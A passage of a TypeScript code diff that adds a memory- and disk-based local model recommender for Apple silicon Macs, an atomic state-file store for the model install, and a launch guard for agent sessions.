+ *  8. `disk`: for every remaining model, free disk minus the download is below 10 GiB (an
+ *     unknown free disk does not block).
+ *
+ * Rules:
+ *  - Verdict `limited` when NO model with 12 billion parameters or more fits this Mac's memory
+ *    at a context a usable harness works at. It is a statement about the Mac ("This Mac can run
+ *    a small model"), so it is judged on everything that fits, BEFORE the disk filter and
+ *    whatever the pick is: a 36 GB Mac whose pick is a 9B model while a 20B is listed under it
+ *    is not a small-model Mac, and a 48 GB Mac does not become one because its disk is full. A
+ *    small pick under verdict `ok` carries `noteSmallPick` instead.
+ *  - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for verdict `ok` with a
+ *    pick whose model has a `tested` entry for exactly this chip, this memory size and this
+ *    harness. Otherwise `headlineOk` (or `headlineLimited`) plus `noteUntested`.
+ *  - Every row carries what the chooser needs and nothing the browser must work out: its one
+ *    tag (`tagFor()`), every harness it can run with (`Candidate.harnesses`, the flat harness
+ *    fields first), and the whole download of an install (`installBytes`: the model plus
+ *    `RecommendOptions.runtimeDownloadBytes`).
+ *  - Every label in the result comes from `LOCAL_MODEL_LABELS` or `LOCAL_MODEL_TAG_LABELS`,
+ *    every computed size text from `formatGb()`. The one size that is not decimal GB is the
+ *    installed memory in `noneMemory`: `HardwareFacts.memClassGb`, the size the Mac is sold
+ *    as. No number is spliced into a sentence here.
+ *  - No CLI id is ever compared with a literal: a harness is a catalogue row plus a
+ *    `HarnessFact`.
+ */
+
+import {
+  LOCAL_MODEL_LABELS,
+  LOCAL_MODEL_NONE_LABELS,
+  LOCAL_MODEL_TAG_LABELS,
+  type Candidate,
+  type CandidateHarness,
+  type CandidateTag,
+  type CandidateTagKind,
+  type DeviceBudget,
+  type FitGrade,
+  type HardwareFacts,
+  type HarnessFact,
+  type LocalHarnessEntry,
+  type LocalModelCatalog,
+  type LocalModelEntry,
+  type LocalModelLabel,
+  type LocalModelMessage,
+  type NoneReason,
+  type Recommendation,
+  type RecommendOptions,
+  type SpeedGrade,
+  type TestedOn,
+} from '../types.js';
+import { chipBandwidthGbps } from '../config/local-model-catalog.js';
+import { formatGb, GIB, MIB } from './format.js';
+
+/** Need over budget up to this share is a `good` fit. */
+export const FIT_GOOD_MAX_SHARE = 0.85;
+/** Need over budget up to this share is a `tight` fit; above it the model is out. */
+export const FIT_TIGHT_MAX_SHARE = 0.98;
+/** A speed below this many tokens per second is `slow`. */
+export const SLOW_BELOW_TOKENS_PER_SECOND = 10;
+/** When no model that fits has at least this many billion parameters, the verdict is `limited`. A pick below it is a "small model". */
+export const LIMITED_BELOW_PARAMS_B = 12;
+/** What must stay free on the disk after the model download. */
+export const DISK_HEADROOM_BYTES = 10 * GIB;
+/** How many other models are listed under the pick. */
+export const MAX_ALTERNATIVES = 4;
+
+/** A memory size of at least this many GB (as sold) gets 3/4 of its memory as device limit, below it 2/3. */
+const LARGE_LIMIT_FROM_GB = 36;
+
+/** The memory the system, Codeman, a browser and the agent keep for themselves, by the size the Mac is sold as. */
+function reserveBytes(memClassGb: number): number {
+  if (memClassGb <= 18) return 6 * GIB;
+  if (memClassGb <= 48) return 8 * GIB;
+  return 12 * GIB;
+}
+
+/** A byte count a caller supplied, when it is one: finite and above 0. */
+function positiveBytes(value: number | undefined): number | undefined {
+  return value !== undefined && Number.isFinite(value) && value > 0 ? Math.floor(value) : undefined;
+}
+
+/**
+ * The memory a model may use on this Mac: the device limit L, the budget B and where L came
+ * from. With `options.measuredTotalBytes` the limit is what the runtime itself reported and
+ * the 1 GiB the estimate keeps back is not subtracted; the reserve bounds both.
+ */
+export function deviceBudget(hw: HardwareFacts, options: RecommendOptions = {}): DeviceBudget {
+  const memBytes = Number.isFinite(hw.memBytes) && hw.memBytes > 0 ? hw.memBytes : 0;
+  const afterReserve = memBytes - reserveBytes(hw.memClassGb);
+  const measured = positiveBytes(options.measuredTotalBytes);
+  if (measured !== undefined) {
+    return { limitBytes: measured, budgetBytes: Math.max(0, Math.min(measured, afterReserve)), source: 'measured' };
+  }
+  // 0 means "not set" (both test Macs report 0): only a value above 0 is a limit.
+  const wired = hw.wiredLimitMb !== undefined && Number.isFinite(hw.wiredLimitMb) && hw.wiredLimitMb > 0;
+  const limitBytes = wired
+    ? Math.floor((hw.wiredLimitMb as number) * MIB)
+    : Math.floor(memBytes * (hw.memClassGb < LARGE_LIMIT_FROM_GB ? 2 / 3 : 3 / 4));
+  const budgetBytes = Math.max(0, Math.min(limitBytes - GIB, afterReserve));
+  return { limitBytes, budgetBytes, source: wired ? 'wired-limit' : 'estimated' };
+}
+
+/**
+ * The bytes `model` needs in memory at a context of `ctx` tokens, at its PEAK: the weights,
+ * what stays held for the context, what the runner holds beside them, and what it takes for a
+ * moment while a long prompt is processed. It does not depend on the Mac.
+ */
+export function needBytes(model: LocalModelEntry, ctx: number): number {
+  return model.bytes + model.heldBytesPerToken * ctx + model.overheadBytes + model.peakExtraBytes;
+}
+
+function fitGrade(need: number, budgetBytes: number): FitGrade {
+  if (budgetBytes <= 0) return 'out';
+  const share = need / budgetBytes;
+  if (share <= FIT_GOOD_MAX_SHARE) return 'good';
+  if (share <= FIT_TIGHT_MAX_SHARE) return 'tight';
+  return 'out';
+}
+
+/**
+ * Whether the catalogue model `modelId` at `context` tokens fits this Mac's budget (a `good`
+ * or a `tight` fit). The install job asks this right after the runtime started, with the
+ * budget the runtime measured (`options.measuredTotalBytes`), BEFORE it downloads the model: a
+ * `false` ends the job with `does-not-fit`. It is the same judgement `recommend()` makes for a
+ * candidate, without the ranking, so a model that fits is never ruled out for being listed
+ * sixth. False for a model the catalogue does not have.
+ */
+export function modelFitsBudget(
+  hw: HardwareFacts,
+  catalog: LocalModelCatalog,
+  modelId: string,
+  context: number,
+  options: RecommendOptions = {}
+): boolean {
+  const model = catalog.models.find((entry) => entry.id === modelId);
+  if (!model || !Number.isFinite(context) || context <= 0) return false;
+  return fitGrade(needBytes(model, context), deviceBudget(hw, options).budgetBytes) !== 'out';
+}
+
+/**
+ * Whether the MACHINE is Apple silicon. `hw.optional.arm64` decides when it was read. Without
+ * it: a process under Rosetta, an arm64 process or an Apple chip name each prove Apple silicon
+ * (`arch` alone cannot say no, because Node under Rosetta reports x64).
+ */
+function isAppleSilicon(hw: HardwareFacts): boolean {
+  if (hw.arm64 !== undefined) return hw.arm64;
+  if (hw.translated === true || hw.arch === 'arm64') return true;
+  return /^Apple\b/i.test(hw.chip ?? '');
+}
+
+function round(value: number, decimals: number): number {
+  const factor = 10 ** decimals;
+  return Math.round(value * factor) / factor;
+}
+
+/** A candidate plus its catalogue row and the two ranks the ordering needs, none of which is part of the payload. */
+interface Ranked {
+  candidate: Candidate;
+  model: LocalModelEntry;
+  modelRank: number;
+  harnessRank: number;
+}
+
+/** A catalogue harness row with the caller's fact about it. */
+interface UsableHarness {
+  row: LocalHarnessEntry;
+  fact: HarnessFact;
+}
+
+const SPEED_ORDER: Record<SpeedGrade, number> = { ok: 0, unknown: 1, slow: 2 };
+
+/** Best first. The fit grade is not a key: every candidate here fits, see the file header. */
+function compareRanked(a: Ranked, b: Ranked): number {
+  return (
+    Number(b.candidate.tested) - Number(a.candidate.tested) ||
+    SPEED_ORDER[a.candidate.speed] - SPEED_ORDER[b.candidate.speed] ||
+    b.modelRank - a.modelRank ||
+    b.harnessRank - a.harnessRank ||
+    b.candidate.context - a.candidate.context
+  );
+}
+
+/** A function supplied by the caller must not be able to break a pure answer. */
+function accepts(fact: HarnessFact, modelId: string): boolean {
+  try {
+    return fact.acceptsModelId(modelId) === true;
+  } catch {
+    return false;
+  }
+}
+
+/** What the chooser's "Runs with" select needs to know about one harness. */
+function candidateHarness(harness: UsableHarness): CandidateHarness {
+  const { row, fact } = harness;
+  return {
+    cli: row.cli,
+    cliLabel: fact.label,
+    installed: fact.installed,
+    // Only a harness that still has to be installed has a command to show.
+    ...(!fact.installed && fact.installCommand ? { installCommand: fact.installCommand } : {}),
+    ...(row.slowFirstTurn ? { slowFirstTurn: true } : {}),
+  };
+}
+
+/**
+ * The entry that makes this model "tested on a Mac like this": exactly the same chip string,
+ * the same memory size as sold, the same harness.
+ */
+function testedEntry(model: LocalModelEntry, hw: HardwareFacts, cli: string): TestedOn | undefined {
+  return model.tested.find((entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === cli);
+}
+
+function buildCandidate(
+  model: LocalModelEntry,
+  ctx: number,
+  harness: UsableHarness,
+  /** Every usable harness that can run this model at this context, `harness` among them. */
+  runsWith: readonly UsableHarness[],
+  need: number,
+  fit: Candidate['fit'],
+  hw: HardwareFacts,
+  catalog: LocalModelCatalog,
+  budgetBytes: number,
+  runtimeDownloadBytes: number
+): Candidate {
+  const testedOn = testedEntry(model, hw, harness.row.cli);
+  const gbps = chipBandwidthGbps(catalog.chips, hw.chip);
+  // A speed measured on a Mac like this one beats the estimate from the chip's bandwidth.
+  const rawSpeed =
+    testedOn?.tokensPerSecond ??
+    (gbps !== undefined && model.speedPer100Gbps !== undefined ? (model.speedPer100Gbps * gbps) / 100 : undefined);
+  // Graded on the unrounded figure: 9.96 rounds to 10.0 for the payload and is still slow.
+  const speed: SpeedGrade =
+    rawSpeed === undefined ? 'unknown' : rawSpeed < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok';
+  const tokensPerSecond = rawSpeed === undefined ? undefined : round(rawSpeed, 1);
+  // The harness of the flat fields first, then the others, best first.
+  const others = runsWith.filter((other) => other !== harness).sort((a, b) => b.row.rank - a.row.rank);
+  const installBytes = model.bytes + runtimeDownloadBytes;
+  return {
+    modelId: model.id,
+    modelLabel: model.label,
+    license: model.license,
+    paramsB: model.paramsB,
+    context: ctx,
+    cli: harness.row.cli,
+    cliLabel: harness.fact.label,
+    cliInstalled: harness.fact.installed,
+    ...(harness.row.slowFirstTurn ? { slowFirstTurn: true } : {}),
+    needBytes: need,
+    needGb: formatGb(need),
+    memory: {
+      modelBytes: model.bytes + model.overheadBytes,
+      contextBytes: model.heldBytesPerToken * ctx,
+      peakBytes: model.peakExtraBytes,
+    },
+    downloadBytes: model.bytes,
+    downloadGb: formatGb(model.bytes),
+    budgetShare: round(need / budgetBytes, 3),
+    fit,
+    fitLabel: fit === 'good' ? LOCAL_MODEL_LABELS.fitGood : LOCAL_MODEL_LABELS.fitTight,
+    speed,
+    ...(speed === 'slow' ? { speedLabel: LOCAL_MODEL_LABELS.speedSlow } : {}),
+    ...(speed === 'unknown' ? { speedLabel: LOCAL_MODEL_LABELS.speedUnknown } : {}),
+    ...(tokensPerSecond !== undefined ? { tokensPerSecond } : {}),
+    tested: testedOn !== undefined,
+    needSource: model.figures,
+    harnesses: [harness, ...others].map(candidateHarness),
+    installBytes,
+    installGb: formatGb(installBytes),
+  };
+}
+
+/**
+ * The one tag of a row: the first kind that applies, in the order tested, the pick (which
+ * says so when it only just fits), tight, slow, small. `undefined` when none does.
+ */
+function tagFor(candidate: Candidate, isPick: boolean): CandidateTag | undefined {
+  const kind: CandidateTagKind | undefined = candidate.tested
+    ? 'tested'
+    : isPick
+      ? candidate.fit === 'tight'
+        ? 'best-tight'
+        : 'best'
+      : candidate.fit === 'tight'
+        ? 'tight'
+        : candidate.speed === 'slow'
+          ? 'slow'
+          : candidate.paramsB < LIMITED_BELOW_PARAMS_B
+            ? 'small'
+            : undefined;
+  return kind === undefined ? undefined : { kind, label: LOCAL_MODEL_TAG_LABELS[kind] };
+}
+
+/** `candidate` with its tag, when it has one. */
+function withTag(candidate: Candidate, isPick: boolean): Candidate {
+  const tag = tagFor(candidate, isPick);
+  return tag ? { ...candidate, tag } : candidate;
+}
+
+/** A `none` answer. `text` replaces the reason's default sentence (the `memory` reason has three). */
+function none(
+  reason: NoneReason,
+  budget: DeviceBudget,
+  vars?: Record<string, string>,
+  text: LocalModelLabel = LOCAL_MODEL_NONE_LABELS[reason]
+): Recommendation {
+  return {
+    verdict: 'none',
+    reason,
+    headline: { text, ...(vars ? { vars } : {}) },
+    notes: [],
+    alternatives: [],
+    budgetBytes: budget.budgetBytes,
+    budgetGb: formatGb(budget.budgetBytes),
+    budgetSource: budget.source,
+  };
+}
+
+/**
+ * The recommendation for this Mac. `harnessFacts` holds one fact per catalogue harness the
+ * caller could resolve; a catalogue harness without a fact is not offered.
+ *
+ * `options` is what the caller knows beyond the probe: the budget the runtime measured (the
+ * answer then says `budgetSource: 'measured'`), and the runtime download an install still
+ * needs (it is added to every row's `installBytes`).
+ */
+export function recommend(
+  hw: HardwareFacts,
+  catalog: LocalModelCatalog,
+  harnessFacts: readonly HarnessFact[],
+  options: RecommendOptions = {}
+): Recommendation {
+  // Off macOS and on an Intel Mac there is no budget to compute: a model has no memory to run in.
+  const noBudget: DeviceBudget = { limitBytes: 0, budgetBytes: 0, source: 'estimated' };
+  if (hw.platform !== 'darwin') return none('not-macos', noBudget);
+  if (!isAppleSilicon(hw)) return none('intel', noBudget);
+
+  const budget = deviceBudget(hw, options);
+  const runtimeDownloadBytes = positiveBytes(options.runtimeDownloadBytes) ?? 0;
+  if (hw.macosMajor !== undefined && hw.macosMajor < catalog.minMacosMajor) {
+    return none('macos', budget, {
+      version: hw.macosVersion ?? String(hw.macosMajor),
+      minimum: String(catalog.minMacosMajor),
+    });
+  }
+
+  // Every (model, context) that fits the budget, before any harness is looked at.
+  const fitting: { model: LocalModelEntry; ctx: number; need: number; fit: Candidate['fit'] }[] = [];
+  for (const model of catalog.models) {
+    for (const ctx of model.contexts) {
+      const need = needBytes(model, ctx);
+      const fit = fitGrade(need, budget.budgetBytes);
+      if (fit !== 'out') fitting.push({ model, ctx, need, fit });
+    }
+  }
+  // Nothing fits at any context. The installed memory is named by the size the Mac is sold
+  // as; a size that could not be read is not stated at all (never "0 GB of memory").
+  const tooLittleMemory = (): Recommendation =>
+    Number.isFinite(hw.memClassGb) && hw.memClassGb > 0
+      ? none('memory', budget, { memory: String(hw.memClassGb) })
+      : none('memory', budget, undefined, LOCAL_MODEL_LABELS.noneMemoryUnknown);
+  if (fitting.length === 0) return tooLittleMemory();
+
+  // A gated row is never offered, whatever the caller knows about its CLI.
+  const usable: UsableHarness[] = [];
+  for (const row of catalog.harnesses) {
+    if (row.gated) continue;
+    const fact = harnessFacts.find((candidate) => candidate.cli === row.cli);
+    if (fact && (fact.installed || fact.installable)) usable.push({ row, fact });
+  }
+  if (usable.length === 0) return none('no-harness', budget);
+
+  const atHarnessContext = fitting.flatMap((entry) =>
+    usable.filter((harness) => entry.ctx >= harness.row.minContext).map((harness) => ({ ...entry, harness }))
+  );
+  if (atHarnessContext.length === 0) {
+    // Models fit, but only below the context a harness needs. Say both numbers: the reader
+    // sees how far apart they are, and that both are estimates.
+    const smallestContext = Math.min(...usable.map((harness) => harness.row.minContext));
+    let smallestNeed: number | undefined;
+    for (const model of catalog.models) {
+      for (const ctx of model.contexts) {
+        if (ctx < smallestContext) continue;
+        const need = needBytes(model, ctx);
+        if (smallestNeed === undefined || need < smallestNeed) smallestNeed = need;
+      }
+    }
+    if (smallestNeed === undefined) return tooLittleMemory();
+    return none(
+      'memory',
+      budget,
+      { budget: formatGb(budget.budgetBytes), need: formatGb(smallestNeed) },
+      LOCAL_MODEL_LABELS.noneMemoryContext
+    );
+  }
+
+  const accepted = atHarnessContext.filter((entry) => accepts(entry.harness.fact, entry.model.id));
+  if (accepted.length === 0) return none('no-harness', budget);
+
+  // The download must leave headroom on the disk. An unknown free disk does not block.
+  const free = hw.freeDiskBytes;
+  const hasRoom = (model: LocalModelEntry): boolean => free === undefined || free - model.bytes >= DISK_HEADROOM_BYTES;
+  if (free !== undefined && !accepted.some((entry) => hasRoom(entry.model))) {
+    const smallest = Math.min(...accepted.map((entry) => entry.model.bytes));
+    // One number, the one that says what to do: what must be freed for the smallest model.
+    return none('disk', budget, { missing: formatGb(smallest + DISK_HEADROOM_BYTES - free) });
+  }
+
+  // Everything that fits is ranked, the models without room on the disk included: the best of
+  // those is named in a note, so a full disk never removes a model without a word.
+  const ranked: Ranked[] = accepted
+    .map((entry) => ({
+      candidate: buildCandidate(
+        entry.model,
+        entry.ctx,
+        entry.harness,
+        accepted
+          .filter((other) => other.model === entry.model && other.ctx === entry.ctx)
+          .map((other) => other.harness),
+        entry.need,
+        entry.fit,
+        hw,
+        catalog,
+        budget.budgetBytes,
+        runtimeDownloadBytes
+      ),
+      model: entry.model,
+      modelRank: entry.model.rank,
+      harnessRank: entry.harness.row.rank,
+    }))
+    .sort(compareRanked);
+
+  // The first candidate of each model is that model at its best context and harness.
+  const bestPerModel: Ranked[] = [];
+  for (const entry of ranked) {
+    if (!bestPerModel.some((kept) => kept.model.id === entry.model.id)) bestPerModel.push(entry);
+  }
+  const offered = bestPerModel.filter((entry) => hasRoom(entry.model)).map((entry) => entry.candidate);
+  const leftOutForDisk = bestPerModel.find((entry) => !hasRoom(entry.model));
+  const pick = withTag(offered[0], true);
+  const alternatives = offered.slice(1, 1 + MAX_ALTERNATIVES).map((candidate) => withTag(candidate, false));
+
+  // About the Mac, not the pick, and judged before the disk filter (see the file header).
+  const limited = !accepted.some((entry) => entry.model.paramsB >= LIMITED_BELOW_PARAMS_B);
+  const headline = limited
+    ? LOCAL_MODEL_LABELS.headlineLimited
+    : pick.tested
+      ? LOCAL_MODEL_LABELS.headlineTested
+      : LOCAL_MODEL_LABELS.headlineOk;
+
+  const notes: LocalModelMessage[] = [];
+  // The limited headline already says it. Under `ok` a small pick must still be called small.
+  if (!limited && pick.paramsB < LIMITED_BELOW_PARAMS_B) notes.push({ text: LOCAL_MODEL_LABELS.noteSmallPick });
+  if (leftOutForDisk && free !== undefined) {
+    notes.push({
+      text: LOCAL_MODEL_LABELS.noteDiskDropped,
+      vars: {
+        model: leftOutForDisk.model.label,
+        missing: formatGb(leftOutForDisk.model.bytes + DISK_HEADROOM_BYTES - free),
+      },
+    });
+  }
+  if (!pick.tested) notes.push({ text: LOCAL_MODEL_LABELS.noteUntested });
+
+  return {
+    verdict: limited ? 'limited' : 'ok',
+    headline: { text: headline },
+    notes,
+    pick,
+    alternatives,
+    budgetBytes: budget.budgetBytes,
+    budgetGb: formatGb(budget.budgetBytes),
+    budgetSource: budget.source,
+  };
+}

src/local-model/state-store.ts

@@ -0,0 +1,276 @@
+/**
+ * @fileoverview The ONE reader and writer of `local-model.json`, the state file of the local
+ * model install (`LocalModelStateFile`).
+ *
+ * Why one module: the install job writes the state, the step and the digest, and the caller
+ * of the runtime supervisor writes the pid and the port. Two writers with their own temp file
+ * and rename would lose each other's change, which is the fault `mutateCustomModelHosts()`
+ * exists to end for the endpoint store. So every write goes through `mutateLocalModelState()`.
+ *
+ * The shape of `mutateSettingsFile()` (src/web/settings-writer.ts):
+ *  - Serialized: mutations run one at a time on one promise chain.
+ *  - Atomic: each write goes to a temp file with a random name beside the target and is
+ *    renamed over it. The file is mode 0600.
+ *  - Reading is TOTAL, unlike the settings writer: the file holds no setting of the user, only
+ *    what this feature recorded, so a missing file, one that does not parse or one with
+ *    another `schema` reads as `IDLE_LOCAL_MODEL_STATE` and the next write replaces it.
+ *  - The path is `localModelPaths().stateFile`. The file itself holds no path.
+ */
+
+import { randomUUID } from 'node:crypto';
+import fs from 'node:fs/promises';
+import { dirname } from 'node:path';
+import {
+  LOCAL_MODEL_ERROR_LABELS,
+  LOCAL_MODEL_INSTALL_STEPS,
+  type LocalModelErrorCode,
+  type LocalModelInstallState,
+  type LocalModelInstallStep,
+  type LocalModelStateFile,
+} from '../types.js';
+import { OLLAMA_RUNTIME_PIN } from './runtime.js';
+import { localModelPaths } from './paths.js';
+
+/** The state when nothing was ever installed. What an unreadable file reads as. */
+export const IDLE_LOCAL_MODEL_STATE: LocalModelStateFile = Object.freeze({ schema: 1, state: 'idle' });
+
+const STATES: readonly LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
+
+// ---------- Reading one member at a time ----------
+
+const isRecord = (value: unknown): value is Record<string, unknown> =>
+  typeof value === 'object' && value !== null && !Array.isArray(value);
+
+const text = (value: unknown, max = 4_096): string | undefined =>
+  typeof value === 'string' && value !== '' && value.length <= max ? value : undefined;
+
+/** A whole number of bytes, tokens, a port or a pid: finite, not negative, and an integer. */
+const count = (value: unknown): number | undefined =>
+  typeof value === 'number' && Number.isSafeInteger(value) && value >= 0 ? value : undefined;
+
+const step = (value: unknown): LocalModelInstallStep | undefined =>
+  LOCAL_MODEL_INSTALL_STEPS.find((candidate) => candidate === value);
+
+function parseSteps(value: unknown): LocalModelInstallStep[] | undefined {
+  if (!Array.isArray(value)) return undefined;
+  const steps: LocalModelInstallStep[] = [];
+  for (const item of value) {
+    const parsed = step(item);
+    // A list with an unknown or a repeated step is not a list this build wrote.
+    if (!parsed || steps.includes(parsed)) return undefined;
+    steps.push(parsed);
+  }
+  return steps.length > 0 ? steps : undefined;
+}
+
+function parseVars(value: unknown): Record<string, string> | undefined {
+  if (!isRecord(value)) return undefined;
+  const vars: Record<string, string> = {};
+  for (const [key, item] of Object.entries(value)) {
+    if (typeof item === 'string' && item.length <= 4_096) vars[key] = item;
+  }
+  return Object.keys(vars).length > 0 ? vars : undefined;
+}
+
+function parseError(value: unknown): LocalModelStateFile['error'] {
+  if (!isRecord(value)) return undefined;
+  const code = text(value.code);
+  if (!code || !Object.prototype.hasOwnProperty.call(LOCAL_MODEL_ERROR_LABELS, code)) return undefined;
+  const vars = parseVars(value.vars);
+  const detail = text(value.detail, 16_384);
+  const nextModelId = text(value.nextModelId, 200);
+  return {
+    code: code as LocalModelErrorCode,
+    ...(vars ? { vars } : {}),
+    ...(detail ? { detail } : {}),
+    ...(nextModelId ? { nextModelId } : {}),
+  };
+}
+
+function parseModel(value: unknown): LocalModelStateFile['model'] {
+  if (!isRecord(value)) return undefined;
+  const id = text(value.id, 200);
+  const label = text(value.label, 200);
+  const context = count(value.context);
+  if (!id || !label || !context) return undefined;
+  const pullBytes = count(value.pullBytes);
+  const digest = text(value.digest, 200);
+  return {
+    id,
+    label,
+    context,
+    ...(pullBytes !== undefined ? { pullBytes } : {}),
+    ...(digest ? { digest } : {}),
+  };
+}
+
+function parseCli(value: unknown): LocalModelStateFile['cli'] {
+  if (!isRecord(value)) return undefined;
+  const id = text(value.id, 200);
+  const label = text(value.label, 200);
+  return id && label ? { id, label } : undefined;
+}
+
+function parseRuntime(value: unknown): LocalModelStateFile['runtime'] {
+  if (!isRecord(value)) return undefined;
+  const version = text(value.version, 64);
+  const port = count(value.port);
+  if (!version || !port || port > 65_535) return undefined;
+  const pid = count(value.pid);
+  const measuredTotalBytes = count(value.measuredTotalBytes);
+  return {
+    version,
+    port,
+    ...(pid ? { pid } : {}),
+    // Anything but an explicit `false` reads as enabled: only Stop switches the runtime off.
+    enabled: value.enabled !== false,
+    ...(measuredTotalBytes ? { measuredTotalBytes } : {}),
+  };
+}
+
+function parseProgress(value: unknown): LocalModelStateFile['progress'] {
+  if (!isRecord(value)) return undefined;
+  const completedBytes = count(value.completedBytes);
+  const totalBytes = count(value.totalBytes);
+  return completedBytes !== undefined && totalBytes !== undefined ? { completedBytes, totalBytes } : undefined;
+}
+
+function parseLoaded(value: unknown): LocalModelStateFile['loaded'] {
+  if (!isRecord(value)) return undefined;
+  const context = count(value.context);
+  const sizeBytes = count(value.sizeBytes);
+  const sizeVramBytes = count(value.sizeVramBytes);
+  return context !== undefined && sizeBytes !== undefined && sizeVramBytes !== undefined
+    ? { context, sizeBytes, sizeVramBytes }
+    : undefined;
+}
+
+function parseConnection(value: unknown): LocalModelStateFile['connection'] {
+  if (!isRecord(value)) return undefined;
+  const endpointId = text(value.endpointId, 200);
+  return endpointId && typeof value.flagWasEnabled === 'boolean'
+    ? { endpointId, flagWasEnabled: value.flagWasEnabled }
+    : undefined;
+}
+
+/**
+ * The state a file's text stands for. Pure and total: text that is not a JSON object of
+ * `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are
+ * dropped, and a member of the wrong type is dropped rather than trusted.
+ *
+ * A state that needs a member it does not have is not trusted either: a job (`installing`,
+ * `paused`, `failed`) without its model, its coding agent or its step, a `failed` job without
+ * its error, and an `installed` state without its model or its runtime all read as idle.
+ * Nothing is deleted by that: what lies in the folder stays until a Remove or a new install.
+ */
+export function parseLocalModelState(raw: string): LocalModelStateFile {
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(raw);
+  } catch {
+    return IDLE_LOCAL_MODEL_STATE;
+  }
+  if (!isRecord(parsed) || parsed.schema !== 1) return IDLE_LOCAL_MODEL_STATE;
+  const state = STATES.find((candidate) => candidate === parsed.state);
+  if (!state || state === 'idle') return IDLE_LOCAL_MODEL_STATE;
+
+  const model = parseModel(parsed.model);
+  const cli = parseCli(parsed.cli);
+  const runtime = parseRuntime(parsed.runtime);
+  const connection = parseConnection(parsed.connection);
+  const updatedAt = text(parsed.updatedAt, 64);
+  const replacedModelId = text(parsed.replacedModelId, 200);
+  if (!model || !cli) return IDLE_LOCAL_MODEL_STATE;
+
+  if (state === 'installed') {
+    if (!runtime) return IDLE_LOCAL_MODEL_STATE;
+    const loaded = parseLoaded(parsed.loaded);
+    return {
+      schema: 1,
+      state,
+      model,
+      cli,
+      runtime,
+      ...(loaded ? { loaded } : {}),
+      ...(connection ? { connection } : {}),
+      ...(updatedAt ? { updatedAt } : {}),
+    };
+  }
+
+  const steps = parseSteps(parsed.steps);
+  const current = step(parsed.step);
+  if (!steps || !current || !steps.includes(current)) return IDLE_LOCAL_MODEL_STATE;
+  const error = parseError(parsed.error);
+  if (state === 'failed' && !error) return IDLE_LOCAL_MODEL_STATE;
+  const progress = parseProgress(parsed.progress);
+  const loaded = parseLoaded(parsed.loaded);
+  return {
+    schema: 1,
+    state,
+    step: current,
+    steps,
+    ...(state === 'failed' && error ? { error } : {}),
+    model,
+    cli,
+    ...(runtime ? { runtime } : {}),
+    ...(progress ? { progress } : {}),
+    ...(loaded ? { loaded } : {}),
+    ...(connection ? { connection } : {}),
+    ...(replacedModelId ? { replacedModelId } : {}),
+    ...(updatedAt ? { updatedAt } : {}),
+  };
+}
+
+/** Where the state file is. Built from `dataPath()` on every call, so a test's own data dir is honoured. */
+function stateFilePath(): string {
+  return localModelPaths(OLLAMA_RUNTIME_PIN.version).stateFile;
+}
+
+async function readStateFrom(path: string): Promise<LocalModelStateFile> {
+  try {
+    return parseLocalModelState(await fs.readFile(path, 'utf-8'));
+  } catch {
+    return IDLE_LOCAL_MODEL_STATE;
+  }
+}
+
+/** The stored state. Never throws: a file that cannot be read is `IDLE_LOCAL_MODEL_STATE`. */
+export async function readLocalModelState(): Promise<LocalModelStateFile> {
+  return readStateFrom(stateFilePath());
+}
+
+async function writeStateFile(path: string, state: LocalModelStateFile): Promise<void> {
+  await fs.mkdir(dirname(path), { recursive: true });
+  const tmp = `${path}.${process.pid}.${randomUUID()}.tmp`;
+  try {
+    await fs.writeFile(tmp, JSON.stringify(state, null, 2), { mode: 0o600 });
+    await fs.rename(tmp, path);
+  } catch (err) {
+    await fs.rm(tmp, { force: true }).catch(() => {});
+    throw err;
+  }
+}
+
+let mutationChain: Promise<unknown> = Promise.resolve();
+
+/**
+ * Runs one change to the state file. `fn` receives the current state and returns the state to
+ * write, or `undefined` to write nothing. Resolves with the state before and after the change
+ * (`after` is `undefined` when nothing was written). `updatedAt` is stamped here. A failed
+ * write rejects its own caller only; the chain keeps going.
+ */
+export function mutateLocalModelState(
+  fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined
+): Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }> {
+  const run = mutationChain.then(async () => {
+    const path = stateFilePath();
+    const before = await readStateFrom(path);
+    const next = fn(before);
+    if (!next) return { before, after: undefined };
+    const after: LocalModelStateFile = { ...next, updatedAt: new Date().toISOString() };
+    await writeStateFile(path, after);
+    return { before, after };
+  });
+  mutationChain = run.catch(() => {});
+  return run;
+}

src/reboot-restore.ts

@@ -134,6 +134,8 @@ export interface RebootRestoreRejection {
     | 'workspace-forbidden'
     | 'already-live'
     | 'capacity-reached'
+    /** The session ran on the model Codeman runs on this Mac, and that model cannot be started on right now. */
+    | 'local-model-not-ready'
     | 'rebuild-failed';
 }
 

src/session.ts

@@ -510,6 +510,18 @@ export class GuardedInputBusyError extends Error {
   }
 }
 
+/**
+ * The session's launch guard refused the start of a new agent process
+ * (`Session.setLaunchGuard()`). Its message is the sentence for the user. A typed error, so a
+ * start that was refused is told apart from a tmux failure and never falls back to a direct PTY.
+ */
+export class LaunchRefusedError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = 'LaunchRefusedError';
+  }
+}
+
 /**
  * Whether a programmatic write leaves the keep-alive turn running: the nudge itself, or a bare
  * Enter (which submits nothing new). Anything else carrying an Enter starts a turn of its own.
@@ -880,6 +892,12 @@ export class Session extends EventEmitter {
   // config dir) without guessing what it once wrote. Persisted disk-only (`__customModel`).
   private _customModel: CustomModelBookkeeping | undefined;
 
+  // Asked right before a NEW agent process is started for this session (a fresh pane, the
+  // respawn of a dead one, a restart in place), never for an attach to an agent that runs.
+  // Resolves with the sentence that refuses the start, or undefined. Set by the web layer
+  // (`WebServer.setupSessionListeners()`); this file does not know who asks or why.
+  private _launchGuard: (() => Promise<string | undefined>) | null = null;
+
   // Env keys a retired custom-model selection injected that the NEXT respawn must
   // `tmux setenv -u`. Deleting a key from `_envOverrides` alone does nothing to the
   // tmux session, which keeps every `setenv` and hands it to `respawn-pane`, so the
@@ -2063,6 +2081,22 @@ export class Session extends EventEmitter {
     }
   }
 
+  /**
+   * Sets what is asked before a new agent process is started for this session (see
+   * `_launchGuard`). The first user is the model Codeman runs on this Mac: an agent is not
+   * started on it while its runtime is down or its model changed. `null` removes it.
+   */
